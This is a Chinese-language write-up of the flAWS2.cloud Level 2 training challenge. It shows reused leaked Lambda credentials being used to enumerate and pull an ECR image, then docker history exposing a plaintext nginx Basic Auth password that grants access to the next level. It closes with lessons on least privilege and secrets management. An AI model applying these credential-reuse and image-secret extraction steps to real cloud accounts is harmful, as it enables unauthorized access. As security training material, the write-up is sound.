4 min read

flAWS2.cloud Level 2 Writeup — ECR 開放權限與 Docker Image 機敏資訊洩漏

flAWS2.cloud Level 2 Writeup — ECR 開放權限與 Docker Image 機敏資訊洩漏

靶場:flAWS2.cloud — Attacker Path
難度:★★☆☆☆(初級)
涉及服務:ECR (Elastic Container Registry)、ECS Fargate、nginx

0x00 題目概述

Level 2 的目標是一個跑在 container 上的網站 http://container.target.flaws2.cloud/,存取時回傳 401 Authorization Required,由 nginx 提供 HTTP Basic Auth 保護。題目提示 ECR repository 名稱為 level2

$ curl -s http://container.target.flaws2.cloud/
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>

0x01 偵察 — ECR Image 列舉

我們手上還有 Level 1 洩漏的 Lambda credentials(profile: flaws2),題目提示 ECR repository 叫 level2,直接列舉 image metadata:

$ aws ecr describe-images --repository-name level2 --region us-east-1 --profile flaws2
{
    "imageDetails": [
        {
            "registryId": "653711331788",
            "repositoryName": "level2",
            "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
            "imageTags": ["latest"],
            "imageSizeInBytes": 75937660,
            "imagePushedAt": "2018-11-27T11:34:16+08:00"
        }
    ]
}

成功取得 image 資訊,這代表 ECR 的權限設定允許我們用 Level 1 的 Lambda credentials 存取一個驗證 PIN 碼的 Lambda,為什麼能讀取 ECR?這就是過度授權的問題。

0x02 攻擊 — Pull Image 並分析 Layer

登入 ECR:

$ aws ecr get-login-password --region us-east-1 --profile flaws2 | \
  docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
Login Succeeded

Pull image:

$ docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
...
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

Docker image 是分層(layer)架構,每一層對應 Dockerfile 中的一條指令,且不可變,即使後續 layer 刪除了檔案,歷史 layer 中的內容仍然可以被讀取。用 docker history 檢查所有歷史指令:

$ docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest --no-trunc

輸出中有一行極為關鍵:

/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

帳密直接以明文形式 bake 在 Dockerfile 的 RUN 指令中,Username 是 flaws2,Password 是 secret_password

再用 docker inspect 確認環境變數:

$ docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest | grep -i -A5 "Env"
"Env": [
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],

環境變數中沒有額外的 secrets,但 layer history 已經足以取得帳密。

0x03 利用 — 登入取得 Level 3 入口

使用提取到的帳密存取目標網站:

$ curl -s http://flaws2:[email protected]/

成功登入,頁面顯示 Level 3 入口:

http://level3-redacted.flaws2.cloud

0x04 攻擊鏈總結

Level 1 洩漏的 Lambda Credentials(仍有效)
        ↓
利用過度授權存取 ECR describe-images
        ↓
登入 ECR 並 Pull 整個 Container Image
        ↓
docker history 分析 Layer 歷史
        ↓
發現 htpasswd 指令中的明文帳密
        ↓
登入 nginx Basic Auth → 取得 Level 3 入口

0x05 Lessons Learned

1. ECR 權限控管不當

ECR repository 預設是 private,但可透過 resource-based policy 授予跨帳號或跨角色的存取權,本關中 Level 1 的 Lambda execution role 竟然能存取 ECR,顯然違反最小權限原則,正確做法是 ECR repository policy 應明確限制只有需要 pull image 的 ECS Task Role 或 CI/CD pipeline 才能存取,並定期用 aws ecr get-repository-policy 審計每個 repository 的權限。

2. Docker Image 中的 Secrets 洩漏

這是真實世界中極為常見的問題,Docker image 的分層架構意味著每一條 RUN、COPY、ADD 指令都會產生一個永久的、不可變的 layer,即使後續 layer 執行 rm 刪除檔案,資料仍存在於歷史 layer 中,常見的洩漏模式包括 RUN htpasswd 直接寫入密碼、COPY .env 把環境變數檔案複製進 image、COPY id_rsa 複製 SSH private key、ENV API_KEY=xxx 用環境變數設定 secrets 等等,正確做法是永遠不要把 secrets 寫進 Dockerfile 或 image,使用 AWS Secrets Manager 或 SSM Parameter Store 在 container runtime 動態注入,或使用 Docker BuildKit 的 --secret flag 處理 build-time secrets。

3. HTTP Basic Auth 搭配 Container 的風險

nginx 的 HTTP Basic Auth 搭配 .htpasswd 是最基本的存取控制,但如果 image 被拉走,攻擊者直接從 build history 就能拿到明文密碼,連 hash cracking 都不需要,在 container 化的環境中,認證機制應該與 image 分離,密碼應在 runtime 透過 secrets management 注入。